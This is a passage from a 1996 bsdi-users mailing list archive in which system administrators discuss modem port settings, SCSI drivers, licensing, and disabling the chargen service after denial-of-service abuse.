doesn't drop and the customer still looks connected when this happens. Questions: Is there any way to verify the port settings to make sure they are ok? (they are all set up the same in ttys and remote???) ttyA00 "/usr/libexec/getty t57600-hf" dialup on ttyA01 "/usr/libexec/getty t57600-hf" dialup on ttyA02 "/usr/libexec/getty t57600-hf" dialup on ttyA03 "/usr/libexec/getty t57600-hf" dialup on ttyA04 "/usr/libexec/getty t57600-hf" dialup on ttyA05 "/usr/libexec/getty t57600-hf" dialup on ttyA06 "/usr/libexec/getty t57600-hf" dialup on ttyA00:dv=/dev/ttyA00:br#57600: ttyA01:dv=/dev/ttyA01:br#57600: ttyA02:dv=/dev/ttyA02:br#57600: ttyA03:dv=/dev/ttyA03:br#57600: ttyA04:dv=/dev/ttyA04:br#57600: ttyA05:dv=/dev/ttyA05:br#57600: ttyA06:dv=/dev/ttyA06:br#57600: ttyA07:dv=/dev/ttyA07:br#57600: ttyA08:dv=/dev/ttyA08:br#57600: Any others suggestions appreciated. I would also like to change to 115200 if this is possible and am not sure if it is just a matter of changing these to file entries for every port or there is something else to it. Thanks Roch From VM Sat Nov 23 11:43:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1714" "Fri" "22" "November" "1996" "23:30:32" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "44" "Re: EIDE CDROM's, are they supported?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA19654 for ; Sat, 23 Nov 1996 02:33:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA02677 for bsdi-users-outgoing; Sat, 23 Nov 1996 02:31:04 -0500 (EST) Message-Id: <3.0.1.32.19961122233001.006a8990@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb Cc: downsj@teeny.org, kent_ketell@firstdata.com, bsdi-users@BSDI.COM, jparnas@jparnas.cybercom.net Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 23:30:32 -0800 At 10:05 PM 11/22/96 -0800, Bill Webb wrote: >> At 11:18 AM 11/22/96 -0800, Jason Downs wrote: >> >In message <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com>, >> > Kent Ketell writes: >> >>EIDE is ATAPI and ATAPI is EIDE and IDE. >> > >> >Hardly. EIDE (primarily) refers to various PIO and DMA transfer modes, >> >while ATAPI refers to the SCSI-like Packet Interface protocol that can be >> >used over the physical IDE interfaces. The two have very little to do with >> >each other, since ATAPI devices usually just use basic IDE PIO. >> > >> >> Thanks for the explanation. However, for the purposes of the question as >> asked, my answer was accurate. An ATAPI cdrom runs from the IDE/EIDE >> controller. >> >> Why is it that so many of you folk have to jump all over people for trying >> to help others? I thought that the purpose of this list was to offer help >> to each other, not to blast each other over technicalities. >> > >I think we need to remember some of the basic rules of newsgroups >and mailing lists - to have a thick skin when reading, and be polite >and considerate when writing to the list. > >Remember that what seems like harsh words to one person may not >have been meant that way by the poster. > >It didn't seem to me that there was much "jumping over people" >going on, nor any "blasting", but it might have seemed that way. > >What it one person is nit picking might to another be paying >attention to details (or showing off!). > You may be correct. It might just be the brevity. Regardless, if we all make an effort to keep it friendly and helpful it will only make the list a better place. I know I will do what I can. Sorry if I came off a bit heavy there. -Kent- From VM Sat Nov 23 11:43:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["386" "Sat" "23" "November" "1996" "12:40:27" "+0100" "cor@xs4all.net" "cor@xs4all.net" nil "12" "Re: Port 19 chargen (denial of service)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA26907 for ; Sat, 23 Nov 1996 06:47:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id GAA03076 for bsdi-users-outgoing; Sat, 23 Nov 1996 06:40:39 -0500 (EST) X-Authentication-Warning: news.xs4all.nl: news set sender to cor@xs4all.nl using -f Message-ID: <576nr9$et3@news.xs4all.nl> Precedence: bulk From: cor@xs4all.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Port 19 chargen (denial of service) Date: Sat, 23 Nov 1996 12:40:27 +0100 (MET) SWIERSUM@setenv.com (Scott Wiersum) writes: >Has anyone been troubled by hackers telneting to port 19 (chargen) >multiple times causing a bandwith problem? Is there a patch for >this? Can I just comment out the chargen line in /etc/inetd.conf >or will it have severe reprocussions? Just comment chargen, and while you're at it, comment the other small servers like echo too. Cor From VM Sat Nov 23 11:43:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["494" "Sat" "23" "November" "1996" "13:24:39" "+0000" "Neil J. McRae" "neil@domino.org" nil "15" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA29599 for ; Sat, 23 Nov 1996 08:37:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA03211 for bsdi-users-outgoing; Sat, 23 Nov 1996 08:29:31 -0500 (EST) Message-Id: <199611231324.NAA27676@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Fri, 22 Nov 1996 10:59:16 EST." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: "Jacob M. Parnas" , bsdi-users@BSDI.COM, neil@domino.org Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Sat, 23 Nov 1996 13:24:39 +0000 On Fri, 22 Nov 1996 10:59:16 -0500 (EST) Sam Brown wrote: > Again i stress the AA/AB chipset not the AC (Rev C/Pass 2.0). They aren't > compatible yet. hint bsdi. hint. Does Matt Thomas driver work on BSDi? I *think* it suppoers this. Neil -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Sat Nov 23 11:43:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1136" "Sat" "23" "November" "1996" "13:20:43" "+0000" "Peter Blake" "ppb@baloo.tcp.co.uk" nil "31" "Re: licence." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA29867 for ; Sat, 23 Nov 1996 08:43:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA03232 for bsdi-users-outgoing; Sat, 23 Nov 1996 08:44:09 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Peter Blake Sender: owner-bsdi-users@lists.gateway.com To: "Robert.J.Dunlop" cc: bsdi-users@BSDI.COM Subject: Re: licence. Date: Sat, 23 Nov 1996 13:20:43 +0000 (GMT) On Fri, 22 Nov 1996, Robert.J.Dunlop wrote: > > I would like to set up another bsdi box > > in my office, but I dont want to spend the > > tons of money for a new licence. What is the > > most productive way. thanks alot :) > > Too right. Whatever happened to the "right to use" licence we had in Europe ? > > No additional media, info or support, just a piece of paper giving you the > right to install and run on a second machine. Cost a couple of hundred dollars > if I remember right. Very useful if you want to run single user systems for > developers etc. It was cheap enough I even brought one when I installed a > second machine at home. > > We've been installing FreeBSD (not as good but a lot cheaper). I could swing > a couple of hundred bucks but not a thousand :-( > > Or what about a "Site licence" I've 20 developers here, I'd love to put BSDi > on every desk. Second that - we bought "right to use" licences from Peter Collinson as well. What is he doing now, BTW? ___ Peter Blake ppb@baloo.tcp.co.uk tel +44 125 688 2917 fax +44 125 688 0795 ppb@hft.co.uk tel +44 148 957 0111 fax +44 148 957 0555 From VM Sat Nov 23 11:43:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["931" "Sat" "23" "November" "1996" "13:35:19" "+0000" "Peter Blake" "ppb@baloo.tcp.co.uk" nil "29" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA29872 for ; Sat, 23 Nov 1996 08:44:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA03231 for bsdi-users-outgoing; Sat, 23 Nov 1996 08:44:03 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Peter Blake Sender: owner-bsdi-users@lists.gateway.com To: "Andy J. Stefancik 237-2164" cc: bsdi-users@BSDI.COM Subject: Re: SCO Emulation Date: Sat, 23 Nov 1996 13:35:19 +0000 (GMT) On Fri, 22 Nov 1996, Andy J. Stefancik 237-2164 wrote: > > JEFFREY ANDREW CAMPBELL writes: > > > > > > Has anyone out there had any experience (or preferably extensive > > > experience) using a BSD/OS box to support legacy SCO apps under the SCO > > > emulation support? > > > > > > > I have used it to support the SCO version of WP-5.1, no problem. > > >Text or X version? > > >- ---David > > I have used the X version 5.1 WP with no problems, after the fonts were > converted and the DISPLAY variable was set properly. I have been wondering > if bsdi ever got WP 6.0 to work under SCO emulation. But will it be worth the effort? We abandoned WP 6.0 and went back to 5.1 because the bugs in 6.0 were costing us so much money. We are still using WP 5.1a under DOG/Windoze. ___ Peter Blake ppb@baloo.tcp.co.uk tel +44 125 688 2917 fax +44 125 688 0795 ppb@hft.co.uk tel +44 148 957 0111 fax +44 148 957 0555 From VM Sat Nov 23 11:43:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2083" "Sat" "23" "November" "1996" "13:51:29" "+0000" "Neil J. McRae" "neil@domino.org" nil "74" "Re: SCSI Adapter Not seen by BSDI " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA00266 for ; Sat, 23 Nov 1996 08:55:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA03251 for bsdi-users-outgoing; Sat, 23 Nov 1996 08:56:08 -0500 (EST) Message-Id: <199611231351.NAA27995@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Wed, 20 Nov 1996 14:44:11 EST." <199611201944.OAA25189@user2.mnsinc.com> Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Stephen Frost cc: jerry@iconnect.net (jerry), bsdi-users@BSDI.COM, neil@domino.org, simonh@easynet.net Subject: Re: SCSI Adapter Not seen by BSDI Date: Sat, 23 Nov 1996 13:51:29 +0000 On Wed, 20 Nov 1996 14:44:11 -0500 (EST) Stephen Frost wrote: BZZZT! Wrong Answer! The aic driver is a software interface for Peripheral Component Intercon- nect bus (PCI) to SCSI host bus adapters built around the Adaptec AIC-7770 and AIC-7780 chips. It supports systems using these chips on the main board or on a PCI card. The 2940UA has a AIC-7860! And in the source tree I see nothing for the AIC-7860! : * BSDI $Id: aic.c,v 2.10 1995/12/11 16:19:44 cp Exp $ */ /* * Driver for the aic 7{7,8}70 series of controllers * >From my NetBSD box with the same card: ahc0 at pci0 dev 15 function 0 ahc0: interrupting at irq 11 ahc0: aic7860 Single Channel, SCSI Id=7, 3 SCBs scsibus0 at ahc0 channel 0 You are asking for trouble if you use this card with the current driver in my opinion. The chips are different. Regards, Neil. > > > > On Tue, 19 Nov 1996, Bill Nestlerode wrote: > > > > > >We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU > > > >SCSI controller. We are unable to get BSDI to recognize it. I can not find > > > >in the KERNEL where we define this adapter, yet the lizard book seems to > > > > > Try interrupting the boot by pressing a key. At the 'Boot:' prompt enter the > > > command '-dev aic0 flags=0x1'. At the following 'Boot:' prompt press 'ent er'. > > > This will force the kernel to use the aic driver. (See man 4 aic) > > > > > Bill, > > > > Thank you! You are a genius! This worked perfectly. > > > > A note to Stephen who asked if this has to be done every time. > > > > No. In /etc place the above command in the file boot.default. > > > > Thanks to all who responded to this. > > > > Jerry > > Actually I figured out that if you just set flags=0x1 > instead of flags=0x0 on the aic0 at pci? line. > > Stephen -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Sat Nov 23 11:43:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["847" "Fri" "22" "November" "1996" "19:31:16" "-0800" "Renaud Waldura" "rw@softway.com" nil "23" "Re: Port 19 chargen (denial of service)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00542 for ; Sat, 23 Nov 1996 09:04:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA03270 for bsdi-users-outgoing; Sat, 23 Nov 1996 09:02:54 -0500 (EST) Message-Id: <199611230331.TAA23132@softway95.softway.com> In-Reply-To: <199611222116.PAA08963@progress.smartgate.com> from "Scott Wiersum" at Nov 22, 96 03:08:00 pm Reply-To: Renaud Waldura Organization: Softway, Inc. (San Francisco) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Renaud Waldura Sender: owner-bsdi-users@lists.gateway.com To: SWIERSUM@setenv.com (Scott Wiersum) Cc: bsdi-users@BSDI.COM Subject: Re: Port 19 chargen (denial of service) Date: Fri, 22 Nov 1996 19:31:16 -0800 (PST) Hi Scott, Scott Wiersum wrote: > > Has anyone been troubled by hackers telneting to port 19 (chargen) > multiple times causing a bandwith problem? Is there a patch for > this? Can I just comment out the chargen line in /etc/inetd.conf > or will it have severe reprocussions? Yes, just comment it out. It's merely a test utility and unfortunately used for denial-of-service attacks. ================================================================== Renaud Waldura Softway, Inc. 185 Berry Street, Suite 5514 - San Francisco, CA 94107 - USA Tel.: (415) 896-0708 - Fax: (415) 896-0709 - rw@softway.com WWW: http://www.softway.com ================================================================== San Francisco, CA - Evergreen, CO - Paris, France - Tunis, Tunisia ================================================================== From VM Sat Nov 23 11:43:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["432" "Sat" "23" "November" "1996" "03:24:04" "-0800" "Nader Kheyrdan" "root@cci-internet.com" nil "16" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00547 for ; Sat, 23 Nov 1996 09:05:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA03278 for bsdi-users-outgoing; Sat, 23 Nov 1996 09:03:04 -0500 (EST) In-Reply-To: <3242232A.5FF5@eoe-magical.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Nader Kheyrdan Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman cc: bsdi-users@BSDI.COM Subject: Re: guest login Date: Sat, 23 Nov 1996 03:24:04 -0800 (PST) only one line at the end of .profile/.cshrc depending on the shell. exec scriptmenu Nader@cci-internet.com On Thu, 19 Sep 1996, Donald Dahlman wrote: > I created a user login with no password, I created a menu with error > checking and it works. Where do I put the commands to run the script > when a guest dials in, and how do I make the script the shell, or > activate the menu script from the shell profile.? > Thanks. > From VM Sat Nov 23 11:43:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1852" "Fri" "22" "November" "1996" "14:37:40" "-0800" "Mike Greene" "mikeg@rockisland.com" nil "34" "killing processes" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00551 for ; Sat, 23 Nov 1996 09:06:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA03262 for bsdi-users-outgoing; Sat, 23 Nov 1996 09:02:37 -0500 (EST) Message-Id: <2.2.32.19961122223740.006a679c@rockisland.com> X-Sender: mikeg@rockisland.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Greene Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: killing processes Date: Fri, 22 Nov 1996 14:37:40 -0800 Hello, Once in a while I need to kill dozens of processes owned by one user. This always happens on my news server usually by one user that has a misconfigured news reader... here is just part of the ps output 28389 ?? IWN 0:00.42 -nts7.rockisland.com connect 28390 ?? IWN 0:00.41 -nts7.rockisland.com connect 28391 ?? IWN 0:00.41 -nts7.rockisland.com connect 28392 ?? IWN 0:00.41 -nts7.rockisland.com connect 28393 ?? IWN 0:00.40 -nts7.rockisland.com connect 28394 ?? IWN 0:00.39 -nts7.rockisland.com connect 28395 ?? IWN 0:00.39 -nts7.rockisland.com connect 28396 ?? IWN 0:00.39 -nts7.rockisland.com connect 28397 ?? IWN 0:00.39 -nts7.rockisland.com connect 28398 ?? IWN 0:00.39 -nts7.rockisland.com connect 28399 ?? IWN 0:00.39 -nts7.rockisland.com connect 28400 ?? IWN 0:00.39 -nts7.rockisland.com connect 28401 ?? IWN 0:00.40 -nts7.rockisland.com connect 28403 ?? IWN 0:00.39 -nts7.rockisland.com connect 28404 ?? IWN 0:00.40 -nts7.rockisland.com connect I know I can kill more than one process by entering each PID separated by a space, but I'm sure there is a slick way to just kill all processes owned by the 'nts7.rock...' This is probably a very trivial command but I just have not had a chance to figure it out on my own, anybody care to make it easy for me =:) - Mike ____________________________________________________ Mike Greene (mikeg@rockisland.com) / Internic (MG42) Rock Island Internet / Office Ph. 360.378.5884 From VM Sat Nov 23 20:42:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2118" "Sat" "23" "November" "1996" "10:01:00" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "65" "Re: Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA06283 for ; Sat, 23 Nov 1996 12:41:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA03550 for bsdi-users-outgoing; Sat, 23 Nov 1996 12:38:32 -0500 (EST) In-Reply-To: <1.5.4.32.19961123173229.00a23098@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: bsdi-users@BSDI.COM Subject: Re: Modems Locking..AHHH!!!!! Date: Sat, 23 Nov 1996 10:01:00 -0800 (PST) Hello Roch. You bet. I will definately let everyone know if I can find a solution. Thank you for the reply. Chris McGlasson System Administrator Net Connection of Bakersfield 805.391.0561 chrism@chiba.netxn.com On Sat, 23 Nov 1996, Roch Pageau wrote: > Chris, > > I seem to be having the same problems with the digiboard and practicals. It > only seems to happen on the last 10 ports for some reason. I thought they > might not be configured properly but cannot find any evidence of this. If I > get anything I will let you know, and am hoping you could do the same. > > Thanks > > Roch > > > At 07:21 PM 11/22/96 -0800, you wrote: > >Hello All. I have a major problem here. For some reason I have a couple > >of modems locking up on me almost every day. I have switched modems > >around, and switched lines with the same results. > > > >I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical > >peripheral modems. I have the following configuration in my /etc/ttys > >directory:: > > > >ttyA00 "/usr/libexec/getty bidir.38400-hf" vt100 on > >ttyA01 "/usr/libexec/getty bidir.38400-hf" vt100 on > >ttyA02 "/usr/libexec/getty bidir.38400-hf" vt100 on > >ttyA03 "/usr/libexec/getty bidir.38400-hf" vt100 on > > > >Is there anything I can do to prevent this most annoying problem?!!! I > >have some irrate customers here! If there is any program, any > >configuration, or any advise that someone could give me to fix this > >problem, it would be greatly appreciated. Thanks in advance. > > > > > > > >Chris McGlasson > >System Administrator > >Net Connection of Bakersfield > >805.391.0561 > >chrism@chiba.netxn.com > > > > > > > > Roch Pageau > ----------------------------------------------------------------- > | System Administrator / Webmaster Internet Express | > | 365 St. Joseph blvd. | > | Hull, Quebec, Canada | > |email: rpageau@inexpress.net J8Y 3X6 | > |URL: http://www.inexpress.net Ph 1-819-776-0482 | > | http://www.inexpress.net/~rpageau Fax 1-819-776-1145 | > ------------------------------------------------------------------ > > From VM Sat Nov 23 20:42:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1753" "Sat" "23" "November" "1996" "12:32:29" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "53" "Re: Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA06288 for ; Sat, 23 Nov 1996 12:44:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA03542 for bsdi-users-outgoing; Sat, 23 Nov 1996 12:35:11 -0500 (EST) Message-Id: <1.5.4.32.19961123173229.00a23098@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson Cc: bsdi-users@BSDI.COM Subject: Re: Modems Locking..AHHH!!!!! Date: Sat, 23 Nov 1996 12:32:29 -0500 Chris, I seem to be having the same problems with the digiboard and practicals. It only seems to happen on the last 10 ports for some reason. I thought they might not be configured properly but cannot find any evidence of this. If I get anything I will let you know, and am hoping you could do the same. Thanks Roch At 07:21 PM 11/22/96 -0800, you wrote: >Hello All. I have a major problem here. For some reason I have a couple >of modems locking up on me almost every day. I have switched modems >around, and switched lines with the same results. > >I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical >peripheral modems. I have the following configuration in my /etc/ttys >directory:: > >ttyA00 "/usr/libexec/getty bidir.38400-hf" vt100 on >ttyA01 "/usr/libexec/getty bidir.38400-hf" vt100 on >ttyA02 "/usr/libexec/getty bidir.38400-hf" vt100 on >ttyA03 "/usr/libexec/getty bidir.38400-hf" vt100 on > >Is there anything I can do to prevent this most annoying problem?!!! I >have some irrate customers here! If there is any program, any >configuration, or any advise that someone could give me to fix this >problem, it would be greatly appreciated. Thanks in advance. > > > >Chris McGlasson >System Administrator >Net Connection of Bakersfield >805.391.0561 >chrism@chiba.netxn.com > > > Roch Pageau ----------------------------------------------------------------- | System Administrator / Webmaster Internet Express | | 365 St. Joseph blvd. | | Hull, Quebec, Canada | |email: rpageau@inexpress.net J8Y 3X6 | |URL: http://www.inexpress.net Ph 1-819-776-0482 | | http://www.inexpress.net/~rpageau Fax 1-819-776-1145 | ------------------------------------------------------------------ From VM Sat Nov 23 20:42:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1051" "Sat" "23" "November" "1996" "13:23:10" "-0500" "Ralph Saunders" "ralph@falcon.keystone.com" nil "29" "Re: It's a shame I know...;-) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07640 for ; Sat, 23 Nov 1996 13:27:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA03603 for bsdi-users-outgoing; Sat, 23 Nov 1996 13:20:26 -0500 (EST) Message-Id: <199611231823.NAA00465@falcon.keystone.com> In-reply-to: Your message of "Fri, 22 Nov 1996 11:24:37 MST." <199611221824.LAA02365@doctor.nl2k.edmonton.ab.ca> Precedence: bulk From: Ralph Saunders Sender: owner-bsdi-users@lists.gateway.com To: The Doctor cc: dennis@nebulus.net (Dennis Breckenridge), bsdi-users@BSDI.COM, ralph@falcon.keystone.com Subject: Re: It's a shame I know...;-) Date: Sat, 23 Nov 1996 13:23:10 -0500 > > > > > > cp /dev/null /dev/tty1af > > > chown uucp.tty /dev/tty1af > > > chmod 0600 /dev/tty1af > > > > > > > Try mknod /dev/tty1af c > > > > > > Either method or, however on boot up the eqnx driver SHOULD create > the device. > The first method will create a regular file called /dev/tty1af which is not what is needed. The mknod command is what you need to use in order to create, or recreate, a special file. ralph ============================================================================== |> <| |> Ralph Saunders Internet: ralph@keystone.com <| |> Keystone Software, Inc. <| |> Springfield, VA <| |> <| ============================================================================== From VM Sat Nov 23 20:42:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1694" "Sat" "23" "November" "1996" "11:41:37" "-0800" "Nazih Chamtie" "master@master.nayzak.com" nil "47" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09541 for ; Sat, 23 Nov 1996 14:47:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA03694 for bsdi-users-outgoing; Sat, 23 Nov 1996 14:40:14 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Nazih Chamtie Sender: owner-bsdi-users@lists.gateway.com To: Nader Kheyrdan cc: Donald Dahlman , bsdi-users@BSDI.COM Subject: Re: guest login Date: Sat, 23 Nov 1996 11:41:37 -0800 (PST) On Sat, 23 Nov 1996, Nader Kheyrdan wrote: > only one line at the end of .profile/.cshrc depending on the shell. > > exec scriptmenu You're risking the users ability to get shell access with this, if you're really sure (which is never the case) that your script is secure _enough_ you should make the script the guest login's shell the guest's shell would be /path/to/scriptmenu -Nazih > > Nader@cci-internet.com > > > On Thu, 19 Sep 1996, Donald Dahlman wrote: > > > I created a user login with no password, I created a menu with error > > checking and it works. Where do I put the commands to run the script > > when a guest dials in, and how do I make the script the shell, or > > activate the menu script from the shell profile.? > > Thanks. > > > ============================================================= | P.O.Box 568 | Nazih Chamtie | | Bellflower, CA 90707 | Systems Analyst | | U.S.A. | ---===---@@@---===--- | | E-Mail Address | B.S. Computer Science | | master@nayzak.com | Cal State Univ., Long Beach | |=============================================================| | Opinions expressed herein are mine and may not reflect | | those of my employer | |=============================================================| | "Life is like a pumpkin seed, it either breaks apart when | | you come to eat it, then you spit it out, or you do it | | right, and you enjoy what's inside" | | Nazih Chamtie | =======(c) 1996 by Nazih Chamtie, all rights reserved======== From VM Sat Nov 23 20:43:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["824" "Sat" "23" "November" "1996" "16:17:52" "-0500" "mjastrem@thunder.ocis.temple.edu" "mjastrem@thunder.ocis.temple.edu" nil "30" "Re: Port 19 chargen (denial of service)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12266 for ; Sat, 23 Nov 1996 16:23:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA04006 for bsdi-users-outgoing; Sat, 23 Nov 1996 16:18:08 -0500 (EST) In-Reply-To: <199611222116.PAA08963@progress.smartgate.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M." Sender: owner-bsdi-users@lists.gateway.com To: Scott Wiersum cc: bsdi-users@BSDI.COM Subject: Re: Port 19 chargen (denial of service) Date: Sat, 23 Nov 1996 16:17:52 -0500 (EST) On Fri, 22 Nov 1996, Scott Wiersum wrote: > Has anyone been troubled by hackers telneting to port 19 (chargen) > multiple times causing a bandwith problem? heard of it. > Is there a patch for > this? Can I just comment out the chargen line in /etc/inetd.conf > or will it have severe reprocussions? for better or for worse, i always comment services out of inetd.conf that i don't have any use for, chargen, echo, and friends included . i know that most standard Linux inetd.conf's have comments in them saying that those services are 'for testing purposes only . haven't had any problems yet =) -Mike -- ( Michael Jastremski,) {| You can take the cat out of the |} ( mjastrem@Thunder.Temple.edu ) {| jungle but you can't take the |} ( http://newsroom.temple.edu ) {| jungle out of the cat. |} From VM Sat Nov 23 20:43:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2438" "Sat" "23" "November" "1996" "15:10:42" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "67" "Re: Modems Locking..AHHH!!!!!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12285 for ; Sat, 23 Nov 1996 16:28:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA04026 for bsdi-users-outgoing; Sat, 23 Nov 1996 16:22:35 -0500 (EST) 